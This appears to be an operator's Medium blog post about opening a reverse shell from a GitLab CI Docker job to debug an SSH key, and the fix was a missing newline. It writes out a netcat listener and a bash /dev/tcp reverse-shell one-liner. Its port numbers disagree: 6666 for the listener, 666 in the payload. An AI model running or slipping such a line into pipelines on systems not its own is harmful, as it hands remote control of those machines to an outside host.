Getting reverse shell into Dorker container

If you really want to get into container on your CI, you can.

George Shuklin
Nov 7 · 2 min read

I got the stupidest problem you may imagine. My CI rejected ssh key to the server I provided as ‘file variable’ in CI/CD settings in gitlab. Few iterations latter I found that ssh-keygen -l -f ${key} just says that this file is not a key. I done few more annoying iterations (add command into ci script, commit, push, wait), and I gave up. Content of the key was right, ssh version was right.

… I desperately needed the interactive shell. But this is CI, where runner is ‘somewhere there’, and my job is run in a container, and it would take eternity to get access to the runner (which in turn is a VM in the cloud with credentials known only to the provision system ‘somewhere another there’). Nah. What I need it reverse shell.

What is a reverse shell?

It’s a shell, which is initiated by client connection to a server. Instead of normal workflow (client goes to server and have shell on server), the situation is reversed. Client goes to server and server gets the shell on the client. The key idea here that if you have access to the server you can get access to the client, even if client is behind few NATs/firewalls.

That’s why it so loved by malware. Your victim is coming to you to ask what to do next.

But I aren’t no malware, I’m a furious operator wanting to fix this damn thing. Therefore, let’s call this ‘best practice’ for reverse shell from Docker inside CI pipeline. Of course it’s a ‘best practice’ in quote marks, but, gosh, the whole docker is the same.

How to get a reverse shell

Conditions:

  1. You need to have a shell to the machine with while IP. Most of the servers have it.
  2. You need to have bash (or sh, or any other shell) in your container image. If you want, you can use something exotic (f.e. python binary) for the same purpose.

Steps:

  1. Log into the server.
  2. Record it’s white IP.
  3. Run nc -lp 6666 (or any other port at your discretion)
  4. Add this into script in CI job:
bash -i >& /dev/tcp/server_ip/666 0>&1

This should create a reverse shell. As soon as this line is executed, and connection happens, you should see a bash prompt at the console where nc was run. Pay attention to hostname, and never use Ctrl-C, as it gonna terminate nc instead of been handled by remote bash.

Before adding this to your CI it’s a good idea to test this on your laptop (or other server) to get port/ip right and to practice to use this shell.

P.S.

My problem was solved after I added an additional ‘\n’ (carrier return) to the ssh key content. It took me 2 minutes of interactive shell to figure this out. It took me few hours to do less in non-interactive mode. Viva reverse shell!

OpsOps

George Shuklin

Written by

I work at Servers.com, most of my stories are about Ansible, Ceph, Python, Openstack and Linux.

OpsOps

OpsOps

Tech blog on Linux, Ansible, Ceph, Openstack and operator-related programming

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade